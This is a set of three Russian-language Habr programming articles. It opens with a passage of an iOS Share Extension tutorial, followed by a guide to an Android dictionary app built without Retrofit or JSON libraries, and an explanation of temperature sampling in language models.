Однако всё не так плохо. Внутри App Extension можно получить доступ к общим контейнерам с Containing App и даже к исполняемому коду, если он расположен в отдельных фреймворках. Как обойти это ограничение я расскажу в следующей главе.
### – Ограничение на длительные процессы
Согласно App Extension Programming Guide, сами App Extension’ы [имеют мало возможностей для манёвра](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionCreation.html#//apple_ref/doc/uid/TP40014214-CH5-SW1). Время их загрузки строго ограничено, как ограничено и использование ими GPU. Если система посчитает, что расширение расходует слишком много ресурсов, его работа может быть приостановлена в любой момент. Это также напрямую связано с лимитами памяти. Apple не рекомендует на длительный срок (например, для выгрузки объёмных файлов в сеть) занимать процесс.
Рекомендации Apple следующие:
* Переносить ресурсоемкие операции из App Extension в Containing App.
* Стартовать выгрузку в background thread при помощи NSUrlSession.
* Вызывать `completeRequestReturningItems: completionHandler` или `cancelRequestWithError:`, для того чтобы система понимала, чем завершилась работа пользователя внутри расширения и могла свободно убить Extension.
Для проекта я рассмотрел, как ведут себя другие приложения, позволяющие выгружать объёмные файлы, в частности Google Drive и Яндекс.Диск. Несмотря на рекомендации Apple, они осуществляют загрузку, не закрывая контроллер расширения. Это резонно, ведь сложно гарантировать завершение процесса загрузки в фоновом режиме, особенно если Share Extension находится в состоянии terminated. Никто не застрахован от обрыва сети в процессе выгрузки. Также низкий приоритет background-задач может сделать невозможным быстрое переключение пользователя между мобильным приложением и его веб-версией на десктопе: файлы ещё не будут переданы, но пользователь этого не поймёт.
Поскольку задачи проекта схожи с изученными продуктами, я решил не придумывать свой велосипед, а для MVP-версии придерживаться аналогичной концепции. Хоть пользователь на время загрузки не сможет вернуться к основным задачам, которыми он занимался в Host App, зато он будет точно понимать, чем завершился и завершился ли его процесс выгрузки файлов в онлайн-хранилище.
### – Ограничение на View Debugger
На момент написания статьи я не нашёл, как использовать визуальный дебаггер на Share Extension. Возможно, UIWindow расширения ограничен из-за того, что вызван поверх Host App. Пока можно воспользоваться сторонними инструментами вроде [Reveal](https://revealapp.com/).
6 сложностей, которые я решал во время разработки Share Extension
-----------------------------------------------------------------
> Чтобы проиллюстрировать процесс разработки Share Extension и выделить его главные особенности, я смоделировал проект-пример. Это же решение я применял на внутреннем проекте во время разработки облачного хранилища для банка. **Исходный код — по** [**ссылке на Гитхабе**](https://github.com/appKODE/share-extension-example-ios)**.**
>
>
### 1. Минимальная возможная реализация
Apple предоставляет API для Share Extension из коробки. Этим решением является класс ShareViewController, который наследуется от SLComposeServiceViewController. Этот родитель предоставляет следующие методы:
* isContentValid() → Bool
+ Метод позволяет валидировать объекты, поступающие на вход расширению: отдельно взятый текст и объекты, переданные внутри класса NSExtensionContext. В этом классе можно получить содержимое объектов любого типа.
* didSelectPost()
+ Вызывается при нажатии пользователем на кнопку Post и является подтверждением отправки. На этом этапе должен инициироваться процесс выгрузки.
* configurationItems()
+ Список SLComposeSheetConfigurationItem, передаваемый для отображения дополнительных элементов внутри стандартного Compose Controller.
Для тестирования коробочного варианта реализации от Apple достаточно добавить стандартный таргет Share Extension. Выбрать ProjectNavigator → ShareExtensionExample, Editor → AddTarget → Share Extension.
Стандартная имплементация Share Extension — за 40 секундВот так в итоге выглядит Share Extesion, нативно предоставляемый Apple### 2. Ограничение допустимых типов данных
Допустим, вы хотите позволить пользователю загрузить в свою онлайн-галерею несколько фотографий и видео. Чтобы не нагружать сервер, аналитики выдвинули требование: можно загружать максимум 10 фото и 5 видео за 1 раз.
Для того чтобы дать расширению понять, какие файлы и в каком количестве мы хотим принимать, можно воспользоваться активационными правилами ([NSExtensionActivationRule](https://developer.apple.com/documentation/bundleresources/information_property_list/nsextension/nsextensionattributes/nsextensionactivationrule)). Для этого нужно:
1. Перейти в info.plist расширения.
2. Раскрыть вложенные списки свойств в порядке: NSExtension → NSExtensionAttributes → NSExtensionActivationRule.
3. Заменить тип свойства NSExtensionActivationRule c String на Dictionary.
4. Прописать в связках «ключ – значение» созданного словаря желаемые ограничения на допустимые файлы. В нашем случае, чтобы соответствовать требованиям, пришлось бы указать следующие правила: **NSExtensionActivationSupportsImageWithMaxCount = 10, NSExtensionActivationSupportsMovieWithMaxCount = 5.** Правила можно выбирать на разные случаи жизни, подробно о них расписано в [документации](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/AppExtensionKeys.html) (таблица 3).
После применения правил и перезапуска, вы заметите, что если попытаться поделиться, например, выделенным текстом, то вашего приложения не будет в предложенном меню. В то же самое время, если попытаться поделиться несколькими фото из галереи (но не больше 10), приложение появится.
> **Важно!** Необходимо задать хоть какие-то правила для расширения, удалив из info.plist значение TRUEPREDICATE. Это значение установлено как активационное правило по умолчанию и позволяет в процессе разработки триггерить запуск расширения, чем бы вы не пытались поделиться. При ревью приложения в стор оно будет отвергнуто, если будет найдено значение TRUEPREDICATE.
>
>
Настройка активационных правил для открытия Share Extension — за 30 секунд### 3. Кастомный UI для Share Extension
Окей, простой вариант реализовали, ограничения установили, а что дальше? Возможно, нам нужно сделать красивый интерфейс для нашего расширения: с превью, кастомными кнопочками согласно фирменному стилю и так далее.
Если вы привыкли верстать экраны кодом, то нужно знать пару тонкостей, чтобы делать так и дальше:
* Нужно удалить MainInterface.storyboard. Он нам уже не понадобится.
* Вместе с ним удалить boilerplate код из ShareViewController, в том числе `import Social`. Сделать ShareViewController наследником UIViewController.
* Следующий шаг — правильно отредактировать info.plist:
+ В списке NSExtension удалить свойство NSExtensionMainStoryboard
+ В NSExtension добавить свойство NSExtensionPrincipalClass, значением которого будет класс нашего контроллера — ShareViewController
* И самое главное, чтобы компилятор мог сопоставить класс и свойство в .plist, нужно добавить перед объявлением класса ShareViewController его название для Obj-c: `@objc(ShareViewController)`.
Ура! Теперь можно спокойно настраивать экран. Заполним ShareViewController простой вёрсткой.
Код
```
import UIKit
@objc(ShareViewController)
class ShareViewController: UIViewController {
private let titleLabel = UILabel()
private let previewsTable = UITableView()
private let confirmButton = UIButton()
override func viewDidLoad() {
super.viewDidLoad()
view.backgroundColor = .white
configureTitle()
configureTable()
configureConfirmButton()
setupLayout()
}
}
// Layout methods go here
}
```
Теперь при попытке поделиться фотографиями и видео из галереи мы видим следующий результат:
Слишком много пустого пространства — чего-то тут не хватает. Нужно заполнить экран превьюшками.
### 4. Генерация превью
Чтобы заполнить контроллер красивыми превью, нам понадобится доступ к пошаренным файлам. Прежде нужно подготовить почву, настроив таблицу. Описываем структуру для превью и дальнейшей выгрузки.
```
public struct ShareFile {
public struct Preview {
public let title: String
public let size: String
public let preview: UIImage?
}
public struct Upload {
public let name: String
public let size: UInt64
public let mimeType: String
public let data: Data?
}
var preview: Preview
var upload: Upload
}
```
Добавим список моделей в класс ShareViewController, который потом будем заполнять из контекста расширения. При получении нового значения будем обновлять данные на вход таблицы:
```
// Properties
var itemsData: [ShareFile] = [] {
didSet {
DispatchQueue.main.async { [weak self] in
self?.previewsTable.reloadData()
}
}
}
```
В `configureTable()` добавим для previewsTable источник данных и зарегистрируем нашу ячейку для превью (PreviewCell.swift).
Код для ячейки
```
import Foundation
import UIKit
final class PreviewCell: UITableViewCell {
private let containerView = UIView()
private let previewImage = UIImageView()
private let previewTitleLabel = UILabel()
private let previewSubtitleLabel = UILabel()
override func prepareForReuse() {
super.prepareForReuse()
contentView.subviews.forEach { $0.removeFromSuperview() }
}
func configure(with model: ShareFile) {
previewImage.image = model.preview.preview
previewTitleLabel.text = model.preview.title
previewSubtitleLabel.text = model.preview.size + " Б"
setupViews()
}
private func setupViews() {
addSubview(containerView)
containerView.backgroundColor = .init(red: 238/255, green: 239/255, blue: 168/255, alpha: 1)
containerView.layer.cornerRadius = 16
containerView.translatesAutoresizingMaskIntoConstraints = false
NSLayoutConstraint.activate([
containerView.leadingAnchor.constraint(equalTo: leadingAnchor),
containerView.topAnchor.constraint(equalTo: topAnchor, constant: 8),
containerView.bottomAnchor.constraint(equalTo: bottomAnchor, constant: -8),
containerView.trailingAnchor.constraint(equalTo: trailingAnchor)
])
containerView.addSubview(previewImage)
previewImage.layer.cornerRadius = 12
previewImage.layer.masksToBounds = true
previewImage.translatesAutoresizingMaskIntoConstraints = false
NSLayoutConstraint.activate([
previewImage.leadingAnchor.constraint(equalTo: containerView.leadingAnchor, constant: 10),
previewImage.topAnchor.constraint(equalTo: containerView.topAnchor, constant: 10),
previewImage.bottomAnchor.constraint(equalTo: containerView.bottomAnchor, constant: -10),
previewImage.widthAnchor.constraint(equalToConstant: 50),
previewImage.heightAnchor.constraint(equalToConstant: 50)
])
containerView.addSubview(previewTitleLabel)
previewTitleLabel.translatesAutoresizingMaskIntoConstraints = false
previewTitleLabel.font = UIFont.preferredFont(forTextStyle: .headline)
NSLayoutConstraint.activate([
previewTitleLabel.leadingAnchor.constraint(equalTo: previewImage.trailingAnchor, constant: 16),
previewTitleLabel.topAnchor.constraint(equalTo: containerView.topAnchor, constant: 10)
])
containerView.addSubview(previewSubtitleLabel)
previewSubtitleLabel.translatesAutoresizingMaskIntoConstraints = false
previewSubtitleLabel.font = UIFont.preferredFont(forTextStyle: .subheadline)
NSLayoutConstraint.activate([
previewSubtitleLabel.leadingAnchor.constraint(equalTo: previewImage.trailingAnchor, constant: 16),
previewSubtitleLabel.topAnchor.constraint(equalTo: previewTitleLabel.bottomAnchor, constant: 10),
previewSubtitleLabel.bottomAnchor.constraint(equalTo: containerView.bottomAnchor, constant: -10)
])
}
}
```
```
previewsTable.delegate = self
previewsTable.dataSource = self
previewsTable.register(PreviewCell.self, forCellReuseIdentifier: "preview")
```
Добавим стандартный вариант делегата UITableViewDelegate и UITableViewDataSource:
Код
```
// MARK: - UITableView Data Source
extension ShareViewController: UITableViewDataSource {
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return previews.count
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = tableView.dequeueReusableCell(withIdentifier: "preview")!
cell.textLabel?.text = "Превью файла"
return cell
}
}
// MARK: - UITableViewDelegate
extension ShareViewController: UITableViewDelegate {
func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
tableView.deselectRow(at: indexPath, animated: false)
}
func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
return 86
}
}
```
Теперь самое интересное. Обратимся к [NSExtensionContext](https://developer.apple.com/documentation/foundation/nsextensioncontext) для получения доступа к переданным файлам. В контроллере Share Extension есть доступ к контексту, внутри которого хранятся все переданные файлы.
Проверим, можем ли мы получить доступ к вложенным файлам. Для этого список вложенных элементов inputItems внутри extensionContext должен быть типа [NSExtensionItem] и не быть пустым. Если же скастить не удалось, или список внезапно оказался пустым — завершим работу с расширением стандартным методом completeRequest внутри метода-помощника close().
```
func close() {
extensionContext?.completeRequest(returningItems: nil, completionHandler: nil)
}
```
```
func getFilesExtensionContext() {
guard let inputItems = extensionContext?.inputItems as? [NSExtensionItem],
inputItems.isNotEmpty
else {
close()
return
}
}
```
Чтобы разобраться, что есть что среди передаваемых файлов, нужно проверять, к какому типу относится каждое вложение. Использовать для этого придётся UTI – Uniform Type Identifiers.
Сначала нужно импортировать namespace “MobileCoreServices”: `import MobileCoreServices`. В нём содержатся константы типов вроде kUTTypeImage, kUTTypeAudio, kUTTypeSpreadsheet и многие другие. Для определения фото и видео понадобятся два: kUTTypeImage и kUTTypeMovie (для определения файлов из приложения «Файлы» пригодится kUTTypeURL).
Напишем коротенькое расширение NSItemProvider для удобства:
```
extension NSItemProvider {
var isImage: Bool {
return hasItemConformingToTypeIdentifier(kUTTypeImage as String)
}
var isMovie: Bool {
return hasItemConformingToTypeIdentifier(kUTTypeMovie as String)
}
}
```
Теперь дополним метод getFilesExtensionContext вызовом обработчиков вложений в зависимости от типа:
```
inputItems.forEach { item in
if let attachments = item.attachments,
!attachments.isEmpty {
attachments.forEach { attachment in
if attachment.isImage {
handleImageAttachment(attachment)
} else if attachment.isMovie {
handleMovieAttachment(attachment)
}
}
}
}
```
Получая вложения в цикле, обработаем их, получим содержимое и отдельно взятые свойства вложений. Для загрузки информации о вложении воспользуемся методом **NSItemProvider. loadItem(forTypeIdentifier:options:completionHandler:).**
```
func handleImageAttachment(_ attachment: NSItemProvider) {
attachment.loadItem(forTypeIdentifier: kUTTypeImage as String, options: nil) { [weak self] item, error in
// handling attacment
}
}
```
Внутри метода loadItem проверим, что ошибок нет:
```
guard let self = self else { return }
guard error == nil else {
self.close()
return
}
// Обработка успешно полученных вложений
```
Напишем несколько методов помощников, которые сделают своё дело в определении свойств вложения. Для определения MIME-типа вложения воспользуемся встроенными методам CoreServices для определения и конвертации тегов Universal Type Identifiers. Возьмем UTI из kUTTagClassFilenameExtension и конвертируем его в kUTTagClassMIMEType.
```
func getMimeType(for url: URL) -> String {
guard
let uti = UTTypeCreatePreferredIdentifierForTag(
kUTTagClassFilenameExtension,
url.pathExtension as CFString,
nil
)?.takeRetainedValue(),
let mimeType = UTTypeCopyPreferredTagWithClass(
uti,
kUTTagClassMIMEType
)?.takeRetainedValue() as String?
else {
return "application/octet-stream"
}
return mimeType
}
```
Воспользуемся встроенным методом структуры URL - resourceValues (forKeys keys: Set) для определения размера файла. Напишем и для этого коротенькую функцию:
```
func getSize(for url: URL) -> UInt64? {
guard let resources = try? url.resourceValues(forKeys: [.fileSizeKey]),
let size = resources.fileSize
else { return 0 }
return UInt64(size)
}
```
Сгенерируем минифицированные превью для фото и видео с использованием AVFoundation и ImageIO:
Код
```
// MARK: - File Previews
private extension ShareViewController {
func getResizedImage(from imageData: Data) -> UIImage? {
guard let imageSource = CGImageSourceCreateWithData(imageData as NSData, nil)
else { return nil }
return resizedImage(from: imageSource)
}
func resizedImage(from imageSource: CGImageSource) -> UIImage? {
let options: [CFString: Any] = [
kCGImageSourceCreateThumbnailFromImageIfAbsent: true,
kCGImageSourceCreateThumbnailWithTransform: true,
kCGImageSourceShouldCacheImmediately: true,
kCGImageSourceThumbnailMaxPixelSize: 45
]
guard let image = CGImageSourceCreateThumbnailAtIndex(imageSource, 0, options as CFDictionary)
else { return nil }
return UIImage(cgImage: image)
}
func makeThumbnailForMovie(with url: URL) -> UIImage? {
do {
let asset = AVURLAsset(url: url)
let imageGenerator = AVAssetImageGenerator(asset: asset)
imageGenerator.appliesPreferredTrackTransform = true
let cgImage = try imageGenerator.copyCGImage(
at: .zero,
actualTime: nil
)
return UIImage(cgImage: cgImage)
} catch { return nil }
}
}
```
Далее, имея все описанные методы, дополним функцию handleImageAttachment определением заголовка, MIME-типа, превью, размера. Также создадим объект ShareFile и добавим его к списку itemsData.
Код
```
var title: String = "Картинка"
var imageData: Data?
var thumbnail: UIImage?
var mimeType: String = "application/octet-stream"
var size: UInt64 = 0
if let itemUrl = item as? URL,
let fileName = self.nameAndExtension(from: itemUrl.lastPathComponent) {
imageData = try? Data(contentsOf: itemUrl)
title = fileName.title
size = self.getSize(for: itemUrl) ?? 0
mimeType = self.getMimeType(for: itemUrl)
} else if let data = item as? Data {
imageData = data
size = UInt64(data.count)
} else if let image = item as? UIImage,
let pngData = image.pngData() {
imageData = pngData
size = UInt64(pngData.count)
} else {
self.close()
}
if let imageData = imageData,
let image = self.getResizedImage(from: imageData) {
thumbnail = image
}
self.itemsData.append(
.init(
preview: .init(title: title, size: String(size), preview: thumbnail),
upload: .init(name: title, size: size, mimeType: mimeType, data: imageData)
)
)
```
Аналогичным образом заполним метод handleMovieAttacment():
Код
```
func handleMovieAttachment(_ attachment: NSItemProvider) {
attachment.loadItem(forTypeIdentifier: kUTTypeMovie as String, options: nil) { [weak self] item, error in
guard let self = self else { return }
guard error == nil else {
self.close()
return
}
var title = "Видео"
var thumbnail: UIImage? = nil
var mimeType: String = "application/octet-stream"
var size: UInt64 = 0
if let urlItem = item as? URL,
let fileName = self.nameAndExtension(from: urlItem.lastPathComponent) {
if let image = self.makeThumbnailForMovie(with: urlItem) {
thumbnail = image
}
title = fileName.title
mimeType = self.getMimeType(for: urlItem)
size = self.getSize(for: urlItem) ?? 0
}
self.itemsData.append(.init(
preview: .init(title: title, size: String(size), preview: thumbnail),
upload: .init(name: title, size: size, mimeType: mimeType, data: nil)
))
}
}
```
Теперь можно запустить наш код и проверить, насколько круто стал выглядеть App Extension. Теперь все полученные картинки и видео будут отображаться в таблице в виде опрятных ячеек. На этом этапе можно внедрять то, что недоступно в стандартной имплементации SLComposeServiceViewController: например, возможность детального просмотра некоторых типов данных, создание групп (папок) для отдельных вложений, переименование и многое другое.
Как получилось в итоге### 5. Взаимодействие с Containing App
Что делать, если необходимо понять, авторизован пользователь или нет? Для этого можно воспользоваться общими контейнерами между Containing App и Host App. Таким контейнером могут выступать общие UserDefaults, Keychain, CoreData или даже контейнер FileManager’а для передачи больших объёмов данных.
Чтобы воспользоваться этими возможностями, в настройках Apple Developer Account нужно добавить App Group для конкретного проекта, а также активировать “App Goups” Capability в настройках основного таргета. (Для доступа к Keychain из App Extension понадобится активировать не только “App Groups”, но и “Keychain Sharing” Capability.)
Допустим, мы создали общий Keychain Storage и получили доступ к информации о конкретном пользователе из Share Extension. Эту информацию составляет последний его серверный accessToken. Но валидный ли это токен? Как нам загрузить выбранные файлы на сервер?
Для этого нужен наш сетевой слой из основного приложения. Чтобы сделать это возможным, нужно, чтобы сетевой слой располагался в отдельном фреймворке и импортировался в основной таргет. Тогда можно использовать его и внутри App Extension.
Для данного тестового проекта мы не будем это реализовывать, но узнать, как это сделать, можно в другом русскоязычном [источнике](https://habr.com/ru/company/mobileup/blog/441890/).
### 6. Редирект в Containing App
Теперь у нас есть налаженный канал связи между нашим расширением и Containing App. Раз у нас приложение-галерея, пользователь может загружать туда личные файлы. Также мы можем проверить, авторизован ли пользователь, благодаря значениям токенов из Keychain. Если токен out-of-date, то нужно показать пользователю кнопку перехода в основное приложение для авторизации.
Особенность App Extensions состоит в том, что [не для всех видов расширений](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple_ref/doc/uid/TP40014214-CH2-SW2) есть открытая функциональность редиректа в Containing App. Например, для виджета Today такая возможность есть, потому что его суть — быстрый переход в приложение. Там можно просто вызвать `openURL:completionHandler:` внутри NSExtensionContext.
Суть Share Extension в другом, поэтому нам приходится искать обходные пути, так как простые способы, которые позволяют открыть «главное» приложение, закрыты. Есть ряд решений ([источник](https://stackoverflow.com/questions/24297273/openurl-not-work-in-action-extension)), которые почему-то не сработали в моём случае. Говорят, что за такие обходные пути приложение может быть отвергнуто на этапе ревью, но я не нашёл проверенных данных.
Для меня сработало следующее решение:
```
@objc private func loginButtonTapped() {
let application = UIApplication.value(forKeyPath: #keyPath(UIApplication.shared)) as! UIApplication
let selector = NSSelectorFromString("openURL:")
if let url = URL(string: "YourApplicationUrlScheme://") {
application.perform(selector, with: url)
}
}
```
---
Надеюсь, мой опыт будет полезен всем, кто собирается реализовать Share Extension на своём проекте. **Исходный код** [**опубликован на Гитхабе**](https://github.com/appKODE/share-extension-example-ios)**.**
##### Семён Медведев
iOS-разработчик KODE, автор статьи | https://habr.com/ru/post/594499/ | null | ru | null |
# Пишем без Retrofit'а, json'a и Kotlin Coroutines Android приложение
Порой нам хочется написать код без лишних библиотек, чтобы более глубоко понять основные принципы или просто ради интереса.
В качестве примера я написал простое Android приложение, которое позволяет юзерам найти значение русского слова:
В данном примере GET запрос реализован через встроенные средства Java, которые находятся в пакете `java.net.*`
Парсинг JSON осуществляется через встроенный в Android пакет `org.json.*`
А для выполнения запроса в background потоке я использую функции обратного вызова и Java пакет `java.util.concurrent.*`
Также для поиска реализован Debounce эффект с задержкой в 500 мс.
Ну что ж пройдемся по всем частям более подробно
Делаем GET запрос без Retrofit'а)
---------------------------------
Покажу сразу код:
```
open class GetRequest(
private val url: String,
private val executor: ExecutorService,
private val handler: Handler
) {
fun execute(onSuccess: (json: String) -> Unit, onError: (error: GetError) -> Unit) {
executor.execute {
var conn : HttpsURLConnection? = null
try {
val connection = URL(url).openConnection() as HttpsURLConnection
conn = connection
connection.requestMethod = "GET"
connection.setRequestProperty("Content-Type", "application/json; utf-8")
connection.connectTimeout = 5000
connection.readTimeout = 5000
val json = connection.inputStream.bufferedReader().readText()
handler.post { onSuccess(json) }
} catch (error: Exception) {
conn?.disconnect()
handler.post {
if (error is UnknownHostException) {
onError(GetError.MISSING_INTERNET)
} else {
onError(GetError.OTHER)
}
}
}
}
}
}
```
Мы прокидываем `ExecucotService`, чтобы выполнить наш запрос в background потоке.
`Handler` используется для возвращения результата на UI поток
`HttpsURLConnection` входит во встроенный пакет `java.net.*` и предназначен для выполнения сетевых запросов.
Параметры `HttpsURLConnection` я думаю вам понятны.
Затем мы читаем все данные через `BufferedReader` и отправляем результат дальше через функции обратного вызова, которые передаются в метод `execute()`.
Обратите внимание, наш класс может иметь наследников.
Я сделал это лишь для небольшого удобства (можно смело юзать только `GetRequest`)
В моем тестовом приложении это `DictGetRequest:`
```
class DictGetRequest(word: String, executor: ExecutorService, handler: Handler)
: GetRequest("https://api.dictionaryapi.dev/api/v2/entries/ru/$word",
executor, handler)
```
Страшный парсинг JSON'а вручную 😱
---------------------------------
Пожалуй это выглядит очень страшно:
```
sealed interface DictResultData {
fun toUi() : DictResultUi
data class Success(private val word: String, private val definitions: List) : DictResultData {
override fun toUi(): DictResultUi {
return DictResultUi.Success(word, definitions)
}
}
data class Error(@StringRes private val resId: Int) : DictResultData {
override fun toUi(): DictResultUi {
return DictResultUi.Error(resId)
}
}
companion object {
fun fromJson(json: String) : DictResultData {
if (json.isJsonObject()) {
return Error(R.string.nothing\_found)
}
val jsonObject = json.toJsonArray().firstObject()
val word = jsonObject.str("word")
val jsonDefinitions = jsonObject.array("meanings")
.firstObject()
.array("definitions")
val definitions = mutableListOf()
for (i in 0 until jsonDefinitions.length()) {
val jsonDefinition = jsonDefinitions.jsonObject(i)
val definition = jsonDefinition.str("definition")
val example = jsonDefinition.str("example")
definitions.add(DictDefinition(definition, example))
}
return Success(word, definitions)
}
}
}
```
Я юзаю `sealed interface` потому что запрос может вернуть разные результаты ответа (ошибка или успех).
Логика работы метода `fromJson()` может показаться неочевидной.
Во-первых, здесь используются Kotlin расширения, которые я вынес отдельно:
```
fun String.isJsonObject() : Boolean {
return JSONTokener(this).nextValue() is JSONObject
}
fun String.toJsonArray() : JSONArray {
return JSONArray(this)
}
fun JSONObject.str(key: String, default: String = "") : String {
return if (has(key)) getString(key) else default
}
fun JSONArray.firstObject() : JSONObject {
return if (length() == 0) JSONObject() else getJSONObject(0)
}
fun JSONArray.jsonObject(index: Int) : JSONObject {
return getJSONObject(index)
}
fun JSONObject.array(key: String, default: JSONArray = JSONArray()) : JSONArray {
return if (has(key)) getJSONArray(key) else default
}
```
Во-вторых, `fromJson()` может вернуть либо ошибку либо успех и поэтому я проверяю, если JSON является объектом, то это ошибка (особенность ответа от сервера, в случае успеха это будет массив).
Репозиторий и наша ViewModel'ка 🥺
---------------------------------
Давайте посмотрим на репозиторий и ViewModel'ку, они такие милые:
```
// Repository
class DictRepositoryImpl(private val executor: ExecutorService, private val handler: Handler) :
DictRepository {
override fun infoAboutWordBy(word: String, onSuccess: (dict: DictResultData) -> Unit) {
val request = DictGetRequest(word, executor, handler)
request.execute(
{ json -> onSuccess(DictResultData.fromJson(json)) },
{ error -> onSuccess(DictResultData.Error(error.resId)) }
)
}
}
// ViewModel
class DictViewModel(private val repo: DictRepository) : ViewModel() {
private val wordUi = MutableLiveData()
fun observe(lifecycleOwner: LifecycleOwner, observer: Observer) = wordUi.observe(lifecycleOwner, observer)
fun searchWordDefinition(word: String) {
if (word.isEmpty()) {
return
}
wordUi.value = DictResultUi.Loading
repo.infoAboutWordBy(word) { result ->
wordUi.value = result.toUi()
}
}
}
```
Здесь все очевидно: в репозитории мы делаем GET запрос на сервер и через функции обратного вызова получаем результат, который далее передаем во `ViewModel`.
Репозиторий возвращает объект `DictResultData` класса, который мы маппим в `DictResultUi`:
```
sealed interface DictResultUi {
object Loading: DictResultUi
data class Error(@StringRes private val textResId: Int): DictResultUi {
fun text(view: TextView) {
view.setText(textResId)
}
}
data class Success(private val word: String, private val definitions: List) : DictResultUi {
fun word(view: TextView) {
view.text = word
}
fun definitions(layout: LinearLayoutCompat) {
layout.removeAllViews()
definitions.mapIndexed { index, definition -> definition.str(index + 1) }
.forEach { str ->
layout.addView(AppCompatTextView(layout.context).apply {
text = str
setTextSize(TypedValue.COMPLEX\_UNIT\_SP, 14f)
setTextColor(ContextCompat.getColor(context, R.color.grey\_300))
layoutParams = LinearLayoutCompat.LayoutParams(
LinearLayoutCompat.LayoutParams.MATCH\_PARENT,
LinearLayoutCompat.LayoutParams.WRAP\_CONTENT
).apply {
bottomMargin = 8.dp(context)
}
})
}
}
}
}
```
Не пугайтесь, я не стал сильно заморачиваться и полностью рефакторить код.
Ну и я просто обожаю создавать UI кодом 😍
MainActivity и наш любимый Debounce эффект
------------------------------------------
Взглянем на `MainActiivty:`
```
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val binding = ActivityMainBinding.inflate(layoutInflater)
setContentView(binding.root)
val executor = Executors.newSingleThreadExecutor()
val handler = Handler(Looper.getMainLooper())
val viewModel = ViewModelProvider(this, DictViewModelFactory(DictRepositoryImpl(executor, handler)))
.get(DictViewModel::class.java)
viewModel.observe(this) { dictResult ->
val isError = dictResult is DictResultUi.Error
val isSuccess = dictResult is DictResultUi.Success
val isLoading = dictResult is DictResultUi.Loading
binding.frameLayout.isVisible = isLoading or isError
binding.progress.isVisible = isLoading
binding.errorText.isVisible = isError
binding.definitionsLayout.isVisible = isSuccess
binding.wordText.isVisible = isSuccess
when (dictResult) {
is DictResultUi.Error -> {
dictResult.text(binding.errorText)
}
is DictResultUi.Success -> {
dictResult.word(binding.wordText)
dictResult.definitions(binding.definitionsLayout)
}
else -> {}
}
}
val debounce = Debounce(Handler(Looper.getMainLooper()))
val runnable = Runnable { viewModel.searchWordDefinition(binding.searchEdit.text.toString()) }
binding.searchEdit.onTextChange { debounce.run(runnable) }
binding.searchBox.setEndIconOnClickListener { runnable.run() }
}
}
```
Здесь мы создаем `ViewModel`, подписываемся на изменение `LiveData` и делаем запрос, когда набираем текст или нажимаем на кнопку поиска.
Класс `Debounce` выглядит следующим образом:
```
class Debounce(private val handler: Handler) {
fun run(runnable: Runnable, delay: Long = 500) {
handler.removeCallbacks(runnable)
handler.postDelayed(runnable, delay)
}
}
```
Здесь мы отменяем выполнение предыдущего запроса и запускаем новый, который выполнится через 500 мс, если мы не будем ничего писать в поле поиска.
Заключение
----------
Я к сожалению не смог, да это и невозможно, разобрать все тонкости в одной статье.
Советую вам обратить внимание на следующие моменты:
* параметры GET запроса, передача тела запроса, Headers и Cookies, ну и другие типы запросов, такие как POST, PUT, UPDATE и DELETE
* принципы работы пула потоков и `Handler`.
* конечно же рефакторинг, я написал не идеальный код и поэтому для его улучшения придется потратить определенное время (внедрение ExecutorService и других зависимостей через конструктор, разбиение на более мелкие части и создание интерфейсов)
Оставляю ссылку [на рабочее приложение](https://github.com/KiberneticWorm/LearningApps/tree/master/Dictapp)
Желаю всем, у кого не диабет теплых и сладких зимних вечеров (шутка) 😉 | https://habr.com/ru/post/599657/ | null | ru | null |
# Сэмплирование с температурой
Недавно натолкнулся на вопрос в чате [ODS](http://habrahabr.ru/company/ods): почему алгоритм, генерирующий текст буква-за-буквой, сэмплит буквы не из `p` (вектор вероятностей следующей буквы, предсказанный [языковой моделью](https://en.wikipedia.org/wiki/Language_model)), а из `p'=softmax(log(p)/t)` (где `t` — это ещё какой-то непонятный положительный скаляр)?
Быстрый и непонятный ответ: `t` — это "температура", и она позволяет управлять разнообразием генерируемых текстов. А ради длинного и детального ответа, собственно, и написан этот пост.
#### Немножко математики
Во-первых, напомню, что `softmax(x)=exp(x)/sum(exp(x))` (exp, log, и деление векторов — покомпонентные). Получается, что если `t=1`, то логарифм и экспонента взаимоуничтожаются, и получаем `p'=p`. То есть с единичной температурой это преобразование ничего не меняет.
Что произойдёт, если сделать температуру очень большой? В софтмакс попадут (почти) нули, и на выходе мы получим (почти) одинаковые числа, примерно `1/n`, где `n` — размерность `p` (число букв в алфавите). То есть на очень высоких температурах мы забиваем на то, что предсказала языковая модель, и сэмплим из всех букв равновероятно.
А если мы установим температуру, близкую к нулю, то каждая компонента `p'` будет очень-большой-экспонентой, делённой на сумму очень-больших-экспонент. В пределе, та буква, которой соответствовало самое большое значение `p`, задоминирует все остальные, и `p'` будет стремиться к единице для неё и к нулю для всех остальных букв. То есть на очень низких температурах мы всегда выбираем самую вероятную букву (даже если её абсолютная вероятность не так уж высока — скажем, только 5%).
#### Основной вывод
То есть семплирование с температурой — это общий вид разных видов семплирования, в разной степени учитывающих предсказания модели. Это нужно, чтобы лавировать между уверенностью модели и разнообразием. Можно поднимать температуру, чтобы генерировать более разнообразные тексты, или опускать её, чтобы генерировать тексты, в которых модель в среднем более уверена. И, естественно, это всё относится не только к генерации текстов, а вообще к любым вероятностным моделям.
На картинке выше приведены примеры сэмплирования с разной температурой из модели GPT-2, через [эту чудную страничку](https://transformer.huggingface.co/doc/gpt2-large), поддерживаемую группой Hugging Face. GPT-2 генерирует тексты не по буквам и не по словам, а по BPE-токенам (специально подобранным последовательностям букв), но суть от этого не особо меняется.
#### Немножко физики
